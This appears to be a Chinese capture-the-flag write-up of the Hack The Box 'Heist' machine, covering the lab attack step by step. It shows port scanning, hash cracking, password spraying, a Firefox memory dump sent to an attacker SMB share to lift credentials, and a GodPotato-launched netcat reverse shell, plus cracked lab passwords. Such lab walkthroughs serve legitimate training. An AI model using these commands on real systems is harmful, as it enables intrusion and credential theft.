HTB:Heist[WriteUP]
目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
将靶机TCP开放端口号提取并保存
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用smbclient匿名访问靶机SMB服务器
使用wappalyzer查看靶机域名主界面技术栈
使用gobuster对靶机域名进行路径FUZZ
边界突破
使用浏览器访问/issues.php文件
使用john对该哈希值进行字典爆破
使用netexec通过上述凭证尝试枚举靶机SMB服务器中的用户
编辑
使用netexec将上文枚举出的用户名与刚解密出来的两条密码进行密码喷洒
使用evil-winrm通过上述凭证登录靶机Win-RM服务
权限提升
在C:\Users\Chase\Desktop目录下可见一个清单列表
查看靶机系统进程
使用procdump将firefox内存转储
攻击机侧开启SMB服务器方便传输文件
回到一开始思科路由器登录界面使用BP抓取请求包
从转储文件中匹配该字符串
使用evil-winrm通过上述凭证登录靶机Win-RM服务
系统权限
查看靶机.NET框架版本
将.NET4版本的土豆上传至靶机
连接至HTB服务器并启动靶机
靶机IP:10.10.10.149
分配IP:10.10.16.21
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.10.149 -r 1-65535 --ulimit 5000 | tee res
将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,
80,135,445,5985,49669
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
80,135,445,5985,49669
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.10.149
- 需要重点关注的端口和服务
80端口:HTTP服务
445端口:SMB服务
5985端口:Win-RM服务
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.149
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.10.149
使用smbclient匿名访问靶机SMB服务器
smbclient -L \\10.10.10.149
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# smbclient -L \\10.10.10.149
Password for [WORKGROUP\root]:
session setup failed: NT_STATUS_ACCESS_DENIED
- 将heist.htb域名映射至靶机IP
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.10.149 heist.htb' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n1 /etc/hosts
10.10.10.149 heist.htb
使用wappalyzer查看靶机域名主界面技术栈
使用gobuster对靶机域名进行路径FUZZ
边界突破
使用浏览器访问/issues.php文件
- 在该页可见一个附件超链接点击跳转后可得一串哈希密码,由它们的讨论也知道该WebAPP为思科路由器的登录界面
- 从该文件中可知两个用户名:rout3r、admin
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
- 将该哈希值保存到文件中以便爆破
echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' > hash
使用john对该哈希值进行字典爆破
john hash --wordlist=../dictionary/rockyou.txt
stealth1agent
- 结合上面该用户要求管理员为他创建一个Windows账户
使用netexec通过上述凭证尝试枚举靶机SMB服务器中的用户
netexec smb 10.10.10.149 -u hazard -p 'stealth1agent' --rid-brute
账户:hazard
密码:stealth1agent
- 附件中还有两个经过Cisco TYPE 7加密过的密码
- 使用在线解密工具直接解密即可
使用netexec将上文枚举出的用户名与刚解密出来的两条密码进行密码喷洒
账户:Chase
密码:Q4)sJu\Y8qz*A3?d
使用evil-winrm通过上述凭证登录靶机Win-RM服务
evil-winrm -i 10.10.10.149 -u 'chase' -p 'Q4)sJu\Y8qz*A3?d'
- 在C:\Users\Chase\Desktop目录下找到user.txt文件
权限提升
在C:\Users\Chase\Desktop目录下可见一个清单列表
查看靶机系统进程
get-process
- 我注意到进程中有firefox,而且看CPU占用似乎正在运行,也许他正在使用该流量对路由器进行维修
使用procdump将firefox内存转储
.\procdump64.exe -ma 6484 -accepteula
攻击机侧开启SMB服务器方便传输文件
impacket-smbserver temp . -smb2support
- 控制靶机连接至攻击机SMB服务
net use Z: \\10.10.16.21\temp
- 控制靶机将转储文件拷贝到攻击机共享目录中
cmd /c "copy firefox.exe_250122_171940.dmp Z:\"
*Evil-WinRM* PS C:\Users\Chase\Desktop> cmd /c "copy firefox.exe_250122_171940.dmp Z:\"
1 file(s) copied.
回到一开始思科路由器登录界面使用BP抓取请求包
- 由请求包可见,密码上传参数为:login_password
从转储文件中匹配该字符串
strings firefox.exe_250122_171940.dmp | grep login_password
4dD!5}x/re8]FBuZ
- 使用上述密码,对靶机SMB服务器用户进行密码喷洒
netexec smb 10.10.10.149 -u names.txt -p '4dD!5}x/re8]FBuZ' --continue-on-success
账户:Administrator
密码:4dD!5}x/re8]FBuZ
使用evil-winrm通过上述凭证登录靶机Win-RM服务
evil-winrm -i 10.10.10.149 -u 'Administrator' -p '4dD!5}x/re8]FBuZ'
- 在C:\Users\Administrator\Desktop目录下找到root.txt文件
系统权限
查看靶机.NET框架版本
ls C:\Windows\Microsoft.NET\Framework
将.NET4版本的土豆上传至靶机
upload GodPotato-NET4.exe
- 通过nc直接反弹shell
.\GodPotato-NET4.exe -cmd ".\nc64.exe -e cmd 10.10.16.21 1425"
- 攻击机本地侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.21] from (UNKNOWN) [10.10.10.149] 49723
Microsoft Windows [Version 10.0.17763.437]
(c) 2018 Microsoft Corporation. All rights reserved.cd C:\Users\Administrator\Downloads
- 将SAM、SYSTEM文件拷贝到当前目录